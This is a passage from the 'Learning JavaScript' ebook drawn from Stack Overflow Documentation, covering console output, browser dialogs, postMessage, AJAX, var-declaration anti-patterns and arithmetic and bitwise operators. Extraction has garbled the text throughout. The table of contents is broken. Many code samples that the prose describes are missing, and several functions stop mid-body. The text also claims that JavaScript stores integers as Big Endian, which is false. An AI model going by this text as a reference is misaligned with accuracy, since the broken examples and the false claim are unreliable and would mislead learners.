Learning JavaScript
Learning JavaScript
Learning JavaScript
#javascript
www.dbooks.org
Table of Contents
About 1
Remarks 2
Versions 2
Examples 3
Using console.log() 4
Introduction 4
Getting Started 4
Logging variables 5
Placeholders 5
Logging Objects 6
End Note 7
Using window.alert() 7
Notes 7
Using window.prompt() 8
Syntax 8
Examples 8
Notes 9
Using the DOM API (with graphical text: Canvas, SVG, or image file) 9
Using window.confirm() 10
Notes 11
Syntax 12
Parameters 12
Examples 12
Getting Started 12
Chapter 3: AJAX 15
Introduction 15
Remarks 15
Examples 15
Displaying the top JavaScript questions of the month from Stack Overflow's API 16
Chapter 4: Anti-patterns 20
Examples 20
Remarks 21
Examples 21
Addition (+) 21
Subtraction (-) 22
Multiplication (*) 22
Division (/) 22
Incrementing (++) 24
Decrementing (--) 24
Common Uses 25
Constants 26
Trigonometry 27
www.dbooks.org
Sine 27
Cosine 28
Tangent 28
Rounding 28
Rounding 29
Rounding up 29
Rounding down 29
Truncating 29
Bitwise operators 31
Bitwise or 31
Bitwise and 32
Bitwise not 32
Bitwise right shift >> (Sign-propagating shift) >>> (Zero-fill right shift) 32
Direction of a vector 36
Direction of a line 36
Math.hypot 37
Little / Big endian for typed arrays when using bitwise operators 40
Square Root 42
Cube Root 42
Finding nth-roots 42
Chapter 6: Arrays 43
Syntax 43
Remarks 43
Examples 43
Spread operator 44
Rest operator 45
Mapping values 45
Filtering values 46
Iteration 47
A traditional for-loop 48
A while loop 49
for...in 49
for...of 49
Array.prototype.keys() 50
Array.prototype.forEach() 50
Array.prototype.every 51
Array.prototype.some 51
Libraries 52
www.dbooks.org
Converting Array-like Objects to Arrays 54
Reducing values 57
Array Sum 57
Concatenating Arrays 60
Unshift 62
Push 62
Shift 63
Pop 64
Splice 64
Delete 65
Array.prototype.length 65
Reversing arrays 65
Sorting Arrays 67
Searching an Array 70
FindIndex 70
Destructuring an array 72
Method 1 73
Method 2 74
Method 3 74
begin 77
end 77
Example 1 77
Example 2 77
Flattening Arrays 79
2 Dimensional arrays 79
Introduction 82
Syntax 82
Remarks 82
Examples 82
Introduction 82
Arguments Object 84
Implicit Return 84
Explicit Return 85
www.dbooks.org
Arrow functions as a constructor 85
Introduction 86
Syntax 86
Remarks 86
Examples 86
Introduction 86
Less indentation 87
Introduction 93
Syntax 93
Remarks 93
Useful Links 93
Examples 93
Basics 93
Examples 95
Remarks 98
Examples 98
Is battery charging? 98
Battery Events 99
Examples 100
Command 102
Iterator 103
Remarks 106
Examples 106
Examples 111
Bitwise OR 112
www.dbooks.org
Right Shift (Zero fill) 114
Examples 115
Swapping Two Integers with Bitwise XOR (without additional memory allocation) 115
Remarks 117
Examples 117
Introduction 117
Examples 120
window.isNaN() 120
Number.isNaN() 121
null 122
NaN 124
Examples 126
Solutions: 131
Syntax 133
Remarks 133
Examples 133
Methods 138
Syntax 142
Examples 142
Remarks 145
Examples 145
www.dbooks.org
AND 145
OR 145
NOT 145
Examples: 146
Inequality 147
SameValue 156
SameValueZero 156
Syntax 162
Remarks 163
Examples 163
Strategy 168
Introduction 170
Syntax 170
Parameters 170
Remarks 170
Chrome 171
Firefox 171
Safari 172
Opera 173
Compatibility 173
Examples 174
www.dbooks.org
Formatting console output 182
Remarks 187
Examples 187
Examples 189
Examples 192
Introduction 194
Remarks 194
Examples 194
Syntax 202
Parameters 202
Remarks 202
Examples 202
Syntax 204
Remarks 204
Examples 204
Examples 206
Examples 208
typeof 208
Syntax 212
Parameters 212
Examples 212
www.dbooks.org
Get the current month 213
Get the number of milliseconds elapsed since 1 January 1970 00:00:00 UTC 222
Examples 225
Examples 227
Breakpoints 227
Safari 228
IDEs 228
Syntax 233
Remarks 233
Examples 233
www.dbooks.org
Declaration 234
Undefined 235
Assignment 235
Increment by 236
Decrement by 236
Multiply by 237
Divide by 237
Introduction 238
Syntax 238
Remarks 238
Examples 238
Introduction 244
Remarks 244
Examples 244
Remarks 247
Examples 247
Syntax 251
Remarks 251
Examples 251
Remarks 256
Examples 256
Introduction 260
Syntax 260
Parameters 260
Remarks 260
www.dbooks.org
Examples 260
Introduction 260
Examples 262
Syntax 263
Parameters 263
Examples 264
Formatting 264
Syntax 268
Parameters 268
Remarks 268
Examples 269
GlobalFetch 269
Using Fetch to Display Questions from the Stack Overflow API 270
Syntax 271
Parameters 271
Remarks 271
Examples 271
Introduction 275
Examples 275
Remarks 278
Examples 278
Introduction 283
Syntax 283
Remarks 283
Examples 283
www.dbooks.org
Function Scoping 291
Currying 299
Reusing the function's return value in a new invocation's default value: 305
Introduction 310
Syntax 310
Remarks 310
Examples 310
Iteration 311
Iterator 313
Observer 313
Syntax 316
Remarks 316
Examples 316
Syntax 318
Parameters 318
Remarks 318
Examples 318
Syntax 320
Parameters 320
Remarks 320
Examples 320
history.replaceState() 320
www.dbooks.org
history.pushState() 321
Chapter 53: How to make iterator usable inside async callback function 323
Introduction 323
Examples 323
Erroneous code, can you spot why this usage of key will lead to bugs? 323
Remarks 325
Transactions 325
Examples 325
Examples 328
Syntax 334
Remarks 334
Examples 334
Intervals 334
Intervals 337
Introduction 339
Syntax 339
Parameters 339
Remarks 339
h11 339
h12 340
h13 340
h14 340
h15 340
h16 340
h17 340
Examples 341
Introduction 343
Syntax 343
Parameters 343
Remarks 343
Examples 344
www.dbooks.org
Serializing a value 344
Remarks 351
Examples 351
JSHint 351
JSLint 352
Syntax 354
Parameters 354
Examples 354
Syntax 356
Remarks 356
Examples 356
Strings 361
Sets 362
Maps 362
Objects 363
Syntax 365
Parameters 365
Remarks 365
Examples 365
Examples 369
www.dbooks.org
Examples 370
Summary 373
Syntax 374
Remarks 374
Examples 374
Examples 378
Syntax 382
Remarks 382
Examples 382
Remarks 386
Examples 386
Syntax 387
Remarks 387
Examples 387
Get some basic browser data and return it as a JSON object 387
Syntax 389
Remarks 389
Examples 389
Hello 390
Syntax 392
Parameters 392
Remarks 392
Examples 393
Object.keys 393
www.dbooks.org
Object.defineProperty 394
Object.freeze 399
Object.seal 400
Object.getOwnPropertyDescriptor 404
Object.assign 405
Miscellaneous : 409
Object.values() 410
Introduction 412
Remarks 412
Examples 412
Example A 418
Example B 418
Syntax 423
Remarks 423
Examples 423
Introduction 425
Example 425
Chaining 430
Caveats 432
www.dbooks.org
forEach with promises 436
Introduction 440
Examples 440
Introduction 442
Syntax 442
Parameters 442
Remarks 442
Examples 442
Syntax 444
Parameters 444
Remarks 444
Examples 444
Capture 448
Non-Capture 448
Look-Ahead 449
Syntax 451
Parameters 451
Remarks 451
Examples 452
Introduction 455
Examples 455
JavaScript has a predefined collection of reserved keywords which you cannot use as variab 455
ECMAScript 1 455
ECMAScript 2 455
Introduction 461
Examples 461
www.dbooks.org
Method 2: JSONP 461
Remarks 464
Examples 464
Re-declaration 465
Hoisting 466
Closures 466
Hoisting 468
Examples 476
Examples 478
headings 478
Mitigation: 479
Mitigation 480
Mitigation: 481
Why scripts from other people can harm your website and its visitors 481
Mitagation 482
Syntax 483
Parameters 483
Remarks 483
Examples 483
Syntax 485
Examples 485
Introduction 487
Syntax 487
Parameters 487
Remarks 487
www.dbooks.org
Examples 488
Introduction 491
Remarks 491
Examples 491
Syntax 493
Remarks 493
Examples 493
Syntax 499
Examples 499
Basic Info and String Concatenation 499
Explanation 502
Syntax 511
Remarks 511
Examples 511
www.dbooks.org
Syntax 513
Remarks 513
Examples 513
Introduction 515
Syntax 515
Remarks 515
Examples 515
Introduction 517
Examples 519
Introduction 521
Examples 521
~ Integer 521
~~ Operator 521
Shorthands 522
indexOf 523
~ Decimal 523
Syntax 524
Remarks 524
Examples 524
Introduction 526
Remarks 526
Examples 526
Examples 526
Syntax 529
Examples 529
Syntax: 529
Returns: 529
Description 529
Examples: 529
Syntax: 530
Returns: 530
Description 530
Examples: 531
Syntax: 531
Returns: 531
Examples: 532
www.dbooks.org
The void operator 533
Syntax: 533
Returns: 533
Description 533
Examples: 533
Syntax: 534
Returns: 534
Description 534
Examples: 534
Syntax: 535
Returns: 535
Description 535
Examples: 535
Syntax: 536
Returns: 536
Description 536
Examples: 537
Overview 537
Examples 539
Unit Testing Promises with Mocha, Sinon, Chai and Proxyquire 540
Examples 544
Remarks 545
Examples 545
Introduction 552
Syntax 552
Remarks 552
Examples 552
Syntax 554
Remarks 554
Examples 554
www.dbooks.org
Chapter 102: WeakSet 557
Syntax 557
Remarks 557
Examples 557
Remarks 559
Examples 559
Syntax 563
Parameters 563
Remarks 563
Examples 563
Notes 565
sessionStorage 565
Introduction 569
Syntax 569
Parameters 569
Examples 569
Syntax 571
Remarks 571
Examples 571
main.js 572
sw.js 573
Credits 577
www.dbooks.org
About
You can share this PDF with anyone you feel could benefit from it, downloaded the latest version
from: javascript
It is an unofficial and free JavaScript ebook created for educational purposes. All the content is
extracted from Stack Overflow Documentation, which is written by many hardworking individuals at
Stack Overflow. It is neither affiliated with Stack Overflow nor official JavaScript.
The content is released under Creative Commons BY-SA, and the list of contributors to each
chapter are provided in the credits section at the end of this book. Images may be copyright of
their respective owners unless otherwise specified. All trademarks and registered trademarks are
the property of their respective company owners.
Use the content presented in this book at your own risk; it is not guaranteed to be correct nor
accurate, please send your feedback and corrections to info@zzzprojects.com
https://riptutorial.com/ 1
Chapter 1: Getting started with JavaScript
Remarks
JavaScript (not to be confused with Java) is a dynamic, weakly-typed language used for client-side
as well as server-side scripting.
JavaScript is a case-sensitive language. This means the language considers capital letters to be
different from their lowercase counterparts. Keywords in JavaScript are all lowercase.
Topics in this tag often refer to the use of JavaScript within the browser, unless otherwise stated.
JavaScript files alone can't be run directly by the browser; it's necessary to embed them in an
HTML document. If you have some JavaScript code you'd like to try, you can embed it in some
placeholder content like this, and save the result as example.html:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Test page</title>
</head>
<body>
Inline script (option 1):
<script>
// YOUR CODE HERE
</script>
External script (option 2):
<script src="your-code-file.js"></script>
</body>
</html>
Versions
1 1997-06-01
2 1998-06-01
3 1998-12-01
E4X 2004-06-01
5 2009-12-01
5.1 2011-06-01
https://riptutorial.com/ 2
www.dbooks.org
Version Release Date
6 2015-06-01
7 2016-06-14
8 2017-06-27
Examples
Using the DOM API
Setting the textContent property of an Element is one way to output text on a web page.
<p id="paragraph"></p>
This will select the element that with the id paragraph and set its text content to "Hello, World":
You can also use JavaScript to create a new HTML element programmatically. For example,
consider an HTML document with the following body:
<body>
<h1>Adding an element</h1>
</body>
In our JavaScript, we create a new <p> tag with a textContent property of and add it at the end of
the html body:
https://riptutorial.com/ 3
<body>
<h1>Adding an element</h1>
<p>Hello, World</p>
</body>
Note that in order to manipulate elements in the DOM using JavaScript, the JavaScript code must
be run after the relevant element has been created in the document. This can be achieved by
putting the JavaScript <script> tags after all of your other <body> content. Alternatively, you can
also use an event listener to listen to eg. window's onload event, adding your code to that event
listener will delay running your code until after the whole content on your page has been loaded.
A third way to make sure all your DOM has been loaded, is to wrap the DOM manipulation code
with a timeout function of 0 ms. This way, this JavaScript code is re-queued at the end of the
execution queue, which gives the browser a chance to finish doing some non-JavaScript things
that have been waiting to finish before attending to this new piece of JavaScript.
Using console.log()
Introduction
All modern web browsers, NodeJs as well as almost every other JavaScript environments support
writing messages to a console using a suite of logging methods. The most common of these
methods is console.log().
Getting Started
Open up the JavaScript Console in your browser, type the following, and press Enter:
console.log("Hello, World!");
In the example above, the console.log() function prints Hello, World! to the console and returns
undefined (shown above in the console output window). This is because console.log() has no
https://riptutorial.com/ 4
www.dbooks.org
explicit return value.
Logging variables
console.log() can be used to log variables of any kind; not only strings. Just pass in the variable
that you want to be displayed in the console, for example:
If you want to log two or more values, simply separate them with commas. Spaces will be
automatically added between each argument during concatenation:
Placeholders
You can use console.log() in combination with placeholders:
https://riptutorial.com/ 5
console.log("%s, %s!", greet, who);
Logging Objects
Below we see the result of logging an object. This is often useful for logging JSON responses from
API calls.
console.log({
'Email': '',
'Groups': {},
'Id': 33,
'IsHiddenInUI': false,
'IsSiteAdmin': false,
'LoginName': 'i:0#.w|virtualdomain\\user2',
'PrincipalType': 1,
'Title': 'user2'
});
console.log(document.body);
https://riptutorial.com/ 6
www.dbooks.org
This will log the following to the console:
End Note
For more information on the capabilities of the console, see the Console topic.
Using window.alert()
The alert method displays a visual alert box on screen. The alert method parameter is displayed
to the user in plain text:
window.alert(message);
Because window is the global object, you can call also use the following shorthand:
alert(message);
So what does window.alert() do? Well, let's take the following example:
alert('hello, world');
https://riptutorial.com/ 7
Notes
The alert method is technically a property of window object, but since all window
properties are automatically global variables, we can use alert as a global variable
instead of as a property of window - meaning you can directly use alert() instead of
window.alert().
Unlike using console.log, alert acts as a modal prompt meaning that the code calling alert will
pause until the prompt is answered. Traditionally this means that no other JavaScript code will
execute until the alert is dismissed:
alert('Pause!');
console.log('Alert was dismissed');
However the specification actually allows other event-triggered code to continue to execute even
though a modal dialog is still being shown. In such implementations, it is possible for other code to
run while the modal dialog is being shown.
More information about usage of the alert method can be found in the modals prompts topic.
The use of alerts is usually discouraged in favour of other methods that do not block users from
interacting with the page - in order to create a better user experience. Nevertheless, it can be
useful for debugging.
Starting with Chrome 46.0, window.alert() is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modal.
Using window.prompt()
An easy way to get an input from a user is by using the prompt() method.
Syntax
prompt(text, [default]);
Examples
https://riptutorial.com/ 8
www.dbooks.org
If the user clicks the OK button, the input value is returned. Otherwise, the method returns null.
The return value of prompt is always a string, unless the user clicks Cancel, in which that case it
returns null. Safari is an exception in that when the user clicks Cancel, the function returns an
empty string. From there, you can convert the return value to another type, such as an integer.
Notes
• While the prompt box is displayed, the user is prevented from accessing other parts of the
page, since dialog boxes are modal windows.
• Starting with Chrome 46.0 this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modal.
Using the DOM API (with graphical text: Canvas, SVG, or image file)
Then insert the canvas element into the page to take effect:
document.body.appendChild(canvas);
https://riptutorial.com/ 9
Using SVG
SVG is for building scalable vector-based graphics and can be used within HTML.
Then build a text element with the desired positioning and font characteristics:
Finally add the text element to our svg container and add the svg container element to the HTML
document:
svg.appendChild(text);
document.body.appendChild(svg);
Image file
If you already have an image file containing the desired text and have it placed on a server, you
can add the URL of the image and then add the image to the document as follows:
Using window.confirm()
The window.confirm() method displays a modal dialog with an optional message and two buttons,
OK and Cancel.
result = window.confirm(message);
Here, message is the optional string to be displayed in the dialog and result is a boolean value
indicating whether OK or Cancel was selected (true means OK).
window.confirm() is typically used to ask for user confirmation before doing a dangerous operation
https://riptutorial.com/ 10
www.dbooks.org
like deleting something in a Control Panel:
The output of that code would look like this in the browser:
If you need it for later use, you can simply store the result of the user's interaction in a variable:
Notes
• The argument is optional and not required by the specification.
• Dialog boxes are modal windows - they prevent the user from accessing the rest of the
program's interface until the dialog box is closed. For this reason, you should not overuse
any function that creates a dialog box (or modal window). And regardless, there are very
good reasons to avoid using dialog boxes for confirmation.
• Starting with Chrome 46.0 this method is blocked inside an <iframe> unless its sandbox
attribute has the value allow-modal.
• It is commonly accepted to call the confirm method with the window notation removed as the
window object is always implicit. However, it is recommended to explicitly define the window
object as expected behavior may change due to implementation at a lower scope level with
similarly named methods.
https://riptutorial.com/ 11
Chapter 2: .postMessage() and MessageEvent
Syntax
• windowObject.postMessage(message, targetOrigin, [transfer]);
• window.addEventListener("message", receiveMessage);
Parameters
Parameters
message
targetOrigin
transfer optional
Examples
Getting Started
Normally, two different pages, can only directly communicate with each other using JavaScript
when they are under the same origin, even if one of them is embedded into another (e.g. iframes)
or one is opened from inside the other (e.g. window.open()). With .postMessage(), you can work
around this restriction while still staying safe.
You can only use .postMessage() when you have access to both pages' JavaScript code.
Since the receiver needs to validate the sender and process the message accordingly, you can
only use this method to communicate between two scripts you have access to.
We will build an example to send messages to a child window and have the messages be
displayed on the child window. The parent/sender page will be assumed to be http://sender.com
and child/receiver page will be assumed to be http://receiver.com for the example.
Sending messages
https://riptutorial.com/ 12
www.dbooks.org
In order to send messages to another window, you need to have a reference to its window object.
window.open() returns the reference object of the newly opened window. For other methods to
obtain a reference to a window object, see the explanation under otherWindow parameter here.
Add a textarea and a send button that will be used to send messages to child window.
<textarea id="text"></textarea>
<button id="btn">Send Message</button>
Send the text of textarea using .postMessage(message, targetOrigin) when the button is clicked.
btn.addEventListener("click", function () {
sendMessage(text.value);
text.value = "";
});
function sendMessage(message) {
if (!message || !message.length) return;
childWindow.postMessage(JSON.stringify({
message: message,
time: new Date()
}), 'http://receiver.com');
}
In order send and receive JSON objects instead of a simple string, JSON.stringify() and
JSON.parse() methods can be used. A Transfarable Object can be given as the third optional
parameter of the .postMessage(message, targetOrigin, transfer) method, but browser support is
still lacking even in modern browsers.
For this example, since our receiver is assumed to be http://receiver.com page, we enter its url as
the targetOrigin. The value of this parameter should match the origin of the childWindow object for
the message to be send. It is possible to use * as a wildcard but is highly recommended to avoid
using the wildcard and always set this parameter to receiver's specific origin for security reasons
.
In order to receive messages, the message event of the window should be listened.
https://riptutorial.com/ 13
window.addEventListener("message", receiveMessage);
When a message is received there are a couple of steps that should be followed to assure
security as much as possible.
The sender should always be validated to make sure the message is received from a trusted
sender. After that, the message itself should be validated to make sure nothing malicious is
received. After these two validations, the message can be processed.
function receiveMessage(ev) {
//Check event.origin to see if it is a trusted sender.
//If you have a reference to the sender, validate event.source
//We only want to receive messages from http://sender.com, our trusted sender page.
if (ev.origin !== "http://sender.com" || ev.source !== window.opener)
return;
var data;
try {
data = JSON.parse(ev.data);
//data.message = cleanseText(data.message)
} catch (ex) {
return;
}
https://riptutorial.com/ 14
www.dbooks.org
Chapter 3: AJAX
Introduction
AJAX stands for "Asynchronous JavaScript and XML". Although the name includes XML, JSON is
more often used due to it's simpler formatting and lower redundancy. AJAX allows the user to
communicate with external resources without reloading the webpage.
Remarks
AJAX stands for Asynchronous JavaScript and XML. Nevertheless you can actually use other
types of data and—in the case of xmlhttprequest—switch to the deprecated synchronous mode.
AJAX allows web pages to send HTTP requests to the server and receive a response, without
needing to reload the entire page.
Examples
Using GET and no parameters
The fetch API is a newer promise-based way to make asynchronous HTTP requests.
Fetch request promises initially return Response objects. These will provide response header
information, but they don't directly include the response body, which may not have even loaded
yet. Methods on the Response object such as .json() can be used to wait for the response body
to load, then parse it.
https://riptutorial.com/ 15
const requestData = {
method : 'getUsers'
};
usersPromise.then(users => {
console.log("Known users: ", users);
}, error => {
console.error("Failed to fetch users due to error: ", error);
});
Displaying the top JavaScript questions of the month from Stack Overflow's
API
We can make an AJAX request to Stack Exchange's API to retrieve a list of the top JavaScript
questions for the month, then present them as a list of links. If the request fails or the returns an
API error, our promise error handling displays the error instead.
6
View live results on HyperWeb.
const url =
'http://api.stackexchange.com/2.2/questions?site=stackoverflow' +
'&tagged=javascript&sort=month&filter=unsafe&key=gik4BOCMC7J9doavgYteRw((';
hyperlink.textContent = title;
hyperlink.href = link;
}
}).then(null, error => {
const message = document.createElement('pre');
document.body.appendChild(message);
message.style.color = 'red';
https://riptutorial.com/ 16
www.dbooks.org
message.textContent = String(error);
});
This function runs an AJAX call using GET allowing us to send parameters (object) to a file
(string) and launch a callback (function) when the request has been ended.
And the following shows how to retreive the url parameters in cars.php:
If you had console.log(response) in callback function the result in console would have been:
https://riptutorial.com/ 17
This function executes an AJAX request using the HEAD method allowing us to check whether a
file exists in the directory given as an argument. It also enables us to launch a callback for
each case (success, failure).
Here's a way to show a GIF preloader while an AJAX call is executing. We need to prepare our
add and remove preloader functions:
function addPreloader() {
// if the preloader doesn't already exist, add one to the page
if(!document.querySelector('#preloader')) {
var preloaderHTML = '<img id="preloader" src="https://goo.gl/cNhyvX" />';
document.querySelector('body').innerHTML += preloaderHTML;
}
}
function removePreloader() {
// select the preloader element
var preloader = document.querySelector('#preloader');
// if it exists, remove it from the page
if(preloader) {
preloader.remove();
}
}
Inside the onreadystatechange function you should have an if statement with condition:
request.readyState == 4 && request.status == 200.
If true: the request is finished and response is ready that's where we'll use removePreloader().
Else if false: the request is still in progress, in this case we'll run the function addPreloader()
xmlhttp.onreadystatechange = function() {
https://riptutorial.com/ 18
www.dbooks.org
removePreloader();
} else {
// the request isn't finished, add the preloader
addPreloader()
}
};
https://riptutorial.com/ 19
Chapter 4: Anti-patterns
Examples
Chaining assignments in var declarations.
Chaining assignments as part of a var declaration will create global variables unintentionally.
For example:
(function foo() {
var a = b = 0;
})()
console.log('a: ' + a);
console.log('b: ' + b);
In the above example, a is local but b becomes global. This is because of the right to left
evaluation of the = operator. So the above code actually evaluated as
var a = (b = 0);
var a, b;
a = b = 0;
Or:
var a = 0, b = a;
This will make sure that both a and b will be local variables.
https://riptutorial.com/ 20
www.dbooks.org
Chapter 5: Arithmetic (Math)
Remarks
• The clz32 method is not supported in Internet Explorer or Safari
Examples
Addition (+)
var a = 9,
b = 3,
c = a + b;
c will now be 12
var a = 9,
b = 3,
c = 8,
d = a + b + c;
Both operands are converted to primitive types. Then, if either one is a string, they're both
converted to strings and concatenated. Otherwise, they're both converted to numbers and added.
null + null; // 0
null + undefined; // NaN
null + {}; // "null[object Object]"
null + ''; // "null"
If the operands are a string and a number, the number is converted to a string and then they're
concatenated, which may lead to unexpected results when working with strings that look numeric.
If a boolean value is given in place of any of the number values, the boolean value is converted to
a number (0 for false, 1 for true) before the sum is calculated:
true + 1; // 2
https://riptutorial.com/ 21
false + 5; // 5
null + 1; // 1
undefined + 1; // NaN
If a boolean value is given alongside a string value, the boolean value is converted to a string
instead:
Subtraction (-)
var a = 9;
var b = 3;
var c = a - b;
c will now be 6
If a string or boolean is provided in place of a number value, it gets converted to a number before
the difference is calculated (0 for false, 1 for true):
"5" - 1; // 4
7 - "3"; // 4
"5" - true; // 4
If the string value cannot be converted into a Number, the result will be NaN:
"foo" - 1; // NaN
100 - "bar"; // NaN
Multiplication (*)
The multiplication operator (*) perform arithmetic multiplication on numbers (literals or variables).
console.log( 3 * 5); // 15
console.log(-3 * 5); // -15
console.log( 3 * -5); // -15
console.log(-3 * -5); // 15
Division (/)
The division operator (/) perform arithmetic division on numbers (literals or variables).
console.log(15 / 3); // 5
console.log(15 / 4); // 3.75
https://riptutorial.com/ 22
www.dbooks.org
Remainder / Modulus (%)
The remainder / modulus operator (%) returns the remainder after (integer) division.
console.log( 42 % 10); // 2
console.log( 42 % -10); // 2
console.log(-42 % 10); // -2
console.log(-42 % -10); // -2
console.log(-40 % 10); // -0
console.log( 40 % 10); // 0
This operator returns the remainder left over when one operand is divided by a second operand.
When the first operand is a negative value, the return value will always be negative, and vice
versa for positive values.
In the example above, 10 can be subtracted four times from 42 before there is not enough left to
subtract again without it changing sign. The remainder is thus: 42 - 4 * 10 = 2.
x % 4 == 0 // true if x is divisible by 4
x % 2 == 0 // true if x is even number
x % 2 != 0 // true if x is odd number
Suppose that we need to increment integer value from 0 to (but not including) n, so the next value
after n-1 become 0. This can be done by such pseudocode:
Now generalize the above problem and suppose that we need to allow to both increment and
decrement that value from 0 to (not including) n, so the next value after n-1 become 0 and the
previous value before 0 become n-1.
https://riptutorial.com/ 23
}
Now we can call delta() function passing any integer, both positive and negative, as delta
parameter.
Incrementing (++)
//postfix
var a = 5, // 5
b = a++, // 5
c = a // 6
//prefix
var a = 5, // 5
b = ++a, // 6
c = a // 6
The increment and decrement operators are commonly used in for loops, for example:
Notice how the prefix variant is used. This ensures that a temporarily variable isn't needlessly
created (to return the value prior to the operation).
Decrementing (--)
https://riptutorial.com/ 24
www.dbooks.org
• If used as a postfix to n, the operator returns the current n and then assigns the decremented
the value.
• If used as a prefix to n, the operator assigns the decremented n and then returns the
changed value.
var a = 5, // 5
b = a--, // 5
c = a // 4
In this case, b is set to the initial value of a. So, b will be 5, and c will be 4.
var a = 5, // 5
b = --a, // 4
c = a // 4
In this case, b is set to the new value of a. So, b will be 4, and c will be 4.
Common Uses
The decrement and increment operators are commonly used in for loops, for example:
Notice how the prefix variant is used. This ensures that a temporarily variable isn't needlessly
created (to return the value prior to the operation).
Note: Neither -- nor ++ are like normal mathematical operators, but rather they are
very concise operators for assignment. Notwithstanding the return value, both x-- and
--x reassign to x such that x = x - 1.
const x = 1;
console.log(x--) // TypeError: Assignment to constant variable.
console.log(--x) // TypeError: Assignment to constant variable.
console.log(--3) // ReferenceError: Invalid left-hand size expression in prefix
operation.
console.log(3--) // ReferenceError: Invalid left-hand side expression in postfix
operation.
Exponentiation makes the second operand the power of the first operand (ab).
var a = 2,
b = 3,
c = Math.pow(a, b);
c will now be 8
https://riptutorial.com/ 25
6
let a = 2,
b = 3,
c = a ** b;
c will now be 8
Finding the nth roots is the inverse of raising to the nth power. For example 2 to the power of 5 is
32. The 5th root of 32 is 2.
var a = 16;
var b = Math.pow(a, 1 / 2); // return the square root of 16 = 4
var c = Math.pow(a, 1 / 3); // return the cubed root of 16 = 2.5198420997897464
var d = Math.pow(a, 1 / 4); // return the 4th root of 16 = 2
Constants
Base of natural
Math.E 2.718
logarithm e
Natural logarithm of
Math.LN10 2.302
10
Natural logarithm of
Math.LN2 0.693
2
Base 10 logarithm of
Math.LOG10E 0.434
e
Base 2 logarithm of
Math.LOG2E 1.442
e
https://riptutorial.com/ 26
www.dbooks.org
Constants Description Approximate
Difference between
one and the smallest
2.2204460492503130808472633361816E-
Number.EPSILON value greater than
16
one representable
as a Number
Largest integer n
such that n and n + 1
Number.MAX_SAFE_INTEGER are both exactly 2^53 - 1
representable as a
Number
Largest positive
Number.MAX_VALUE finite value of 1.79E+308
Number
Smallest integer n
such that n and n - 1
Number.MIN_SAFE_INTEGER are both exactly -(2^53 - 1)
representable as a
Number
Smallest positive
Number.MIN_VALUE 5E-324
value for Number
Value of negative
Number.NEGATIVE_INFINITY
infinity (-∞)
Value of positive
Number.POSITIVE_INFINITY
infinity (∞)
Value of positive
Infinity
infinity (∞)
Trigonometry
All angles below are in radians. An angle r in radians has measure 180 * r / Math.PI in degrees.
Sine
Math.sin(r);
https://riptutorial.com/ 27
Math.asin(r);
Math.asinh(r)
Cosine
Math.cos(r);
Math.acos(r);
Math.acosh(r);
Tangent
Math.tan(r);
Math.atan(r);
This will return the arctangent (the reverse of the tangent) of r. Note that it will return an angle in
radians between -π/2 and π/2.
Math.atanh(r);
Math.atan2(x, y);
This will return the value of an angle from (0, 0) to (x, y) in radians. It will return a value between
-π and π, not including π.
Rounding
https://riptutorial.com/ 28
www.dbooks.org
Rounding
Math.round() will round the value to the closest integer using half round up to break ties.
But
Note how -2.5 is rounded to -2. This is because half-way values are always rounded up, that is
they're rounded to the integer with the next higher value.
Rounding up
Rounding down
Truncating
Caveat: using bitwise operators (except >>>) only applies to numbers between -2147483649 and
2147483648.
2.3 | 0; // 2 (floor)
-2.3 | 0; // -2 (ceil)
https://riptutorial.com/ 29
NaN | 0; // 0
Math.trunc()
Math.trunc(2.3); // 2 (floor)
Math.trunc(-2.3); // -2 (ceil)
Math.trunc(2147483648.1); // 2147483648 (floor)
Math.trunc(-2147483649.1); // -2147483649 (ceil)
Math.trunc(NaN); // NaN
Math.floor, Math.ceil(), and Math.round() can be used to round to a number of decimal places
https://riptutorial.com/ 30
www.dbooks.org
var power = Math.pow(10, places);
return Math.floor(value * power) / power;
}
var a = Math.random();
function getRandom() {
return Math.random();
}
To use Math.random() to get a number from an arbitrary range (not [0,1)) use this function to get a
random number between min (inclusive) and max (exclusive): interval of [min, max)
To use Math.random() to get an integer from an arbitrary range (not [0,1)) use this function to get a
random number between min (inclusive) and max (exclusive): interval of [min, max)
To use Math.random() to get an integer from an arbitrary range (not [0,1)) use this function to get a
random number between min (inclusive) and max (inclusive): interval of [min, max]
Bitwise operators
Note that all bitwise operations operate on 32-bit integers by passing any operands to the internal
function ToInt32.
Bitwise or
var a;
a = 0b0011 | 0b1010; // a === 0b1011
https://riptutorial.com/ 31
// truth table
// 1010 | (or)
// 0011
// 1011 (result)
Bitwise and
Bitwise not
Shift left is equivalent to integer multiply by Math.pow(2, n). When doing integer math, shift can
significantly improve the speed of some math operations.
var n = 2;
var a = 5.4;
var result = (a << n) === Math.floor(a) * Math.pow(2,n);
// result is true
a = 5.4 << n; // 20
Bitwise right shift >> (Sign-propagating shift) >>> (Zero-fill right shift)
https://riptutorial.com/ 32
www.dbooks.org
a = 0b1001 >>> 2; // a === 0b0010
a = 0b1001 >>> 3; // a === 0b0001
A negative 32bit value always has the left most bit on:
a = 0b11111111111111111111111111110111 | 0;
console.log(a); // -9
b = a >> 2; // leftmost bit is shifted 1 to the right then new left most bit is set to on
(1)
console.log(b); // -3
b = a >>> 2; // leftmost bit is shifted 1 to the right. the new left most bit is set to off
(0)
console.log(b); // 2147483643
Right shift on positive numbers is the equivalent of dividing by the Math.pow(2,n) and flooring the
result:
a = 256.67;
n = 4;
result = (a >> n) === Math.floor( Math.floor(a) / Math.pow(2,n) );
// result is true
a = a >> n; // 16
Right shift zero fill (>>>) on negative numbers is different. As JavaScript does not convert to
unsigned ints when doing bit operations there is no operational equivalent:
a = -256.67;
result = (a >>> n) === Math.floor( Math.floor(a) / Math.pow(2,n) );
// result is false
With the exception of not (~) all the above bitwise operators can be used as assignment operators:
a |= b; // same as: a = a | b;
a ^= b; // same as: a = a ^ b;
a &= b; // same as: a = a & b;
a >>= b; // same as: a = a >> b;
a >>>= b; // same as: a = a >>> b;
a <<= b; // same as: a = a << b;
Warning: Javascript uses Big Endian to store integers. This will not always match the Endian of
the device/OS. When using typed arrays with bit lengths greater than 8 bits you should check if the
environment is Little Endian or Big Endian before applying bitwise operations.
https://riptutorial.com/ 33
Warning: Bitwise operators such as & and | are not the same as the logical operators && (and)
and || (or). They will provide incorrect results if used as logical operators. The ^ operator is not
the power operator (ab).
Examples:
// randomBetween(0, 10);
Math.floor(Math.random() * 11);
// randomBetween(1, 10);
